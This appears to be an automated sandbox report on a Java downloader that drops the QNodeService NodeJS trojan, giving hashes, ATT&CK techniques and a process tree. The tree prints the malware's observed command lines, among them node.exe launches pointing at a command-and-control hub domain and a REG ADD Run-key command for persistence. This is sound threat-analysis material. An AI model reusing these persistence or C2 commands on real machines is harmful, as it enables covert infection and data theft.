qnodeservice | 1ff3f8dde0aa2b1540ce493b8b13a4132ba75f4b88b606421daed17eb481990d

General

Target

AWB-8912230030.jar
Size

222KB
MD5

554fdb5d141aad56f3b94ed1e461802a
SHA1

05f2dda1f10cb8cc536e92e2aa248233565260e4
SHA256

1ff3f8dde0aa2b1540ce493b8b13a4132ba75f4b88b606421daed17eb481990d
SHA512

ef1c0ca90c4063bf2fc8fb77196bd720014e1010c703062ef06b2aab87f830eaf77ce0b9e66d3ff8ebdfd4cd18894dd7cbd0d7e29e280bdce3e599d4b40930db

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1120	node.exe
2084	node.exe
3524	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\bcfedc10-f43d-4df8-8e16-ce4404ecfc9b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada1-168.dat	js
behavioral2/files/0x000100000001ada1-171.dat	js
behavioral2/files/0x000100000001ada1-175.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	wtfismyip.com
16	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1120	node.exe
1120	node.exe
1120	node.exe
1120	node.exe
2084	node.exe
2084	node.exe
2084	node.exe
2084	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe
3524	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2504	2720	java.exe	74
PID 2720 wrote to memory of 2504	2720	java.exe	74
PID 2504 wrote to memory of 1120	2504	javaw.exe	78
PID 2504 wrote to memory of 1120	2504	javaw.exe	78
PID 1120 wrote to memory of 2084	1120	node.exe	80
PID 1120 wrote to memory of 2084	1120	node.exe	80
PID 2084 wrote to memory of 3524	2084	node.exe	81
PID 2084 wrote to memory of 3524	2084	node.exe	81
PID 3524 wrote to memory of 1312	3524	node.exe	83
PID 3524 wrote to memory of 1312	3524	node.exe	83
PID 1312 wrote to memory of 3844	1312	cmd.exe	84
PID 1312 wrote to memory of 3844	1312	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\AWB-8912230030.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ae6d8ad2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain localhost --hub-domain ramos01.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JnT5LA\boot.js --hub-domain localhost --hub-domain ramos01.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2084
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JnT5LA\boot.js --hub-domain localhost --hub-domain ramos01.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3524
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "bcfedc10-f43d-4df8-8e16-ce4404ecfc9b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1312
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "bcfedc10-f43d-4df8-8e16-ce4404ecfc9b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1120-169-0x0000015E78280000-0x0000015E78281000-memory.dmp

Filesize
4KB

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memory/2084-172-0x000001E9069C0000-0x000001E9069C1000-memory.dmp

Filesize
4KB

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memory/3524-176-0x0000027BAE140000-0x0000027BAE141000-memory.dmp

Filesize
4KB

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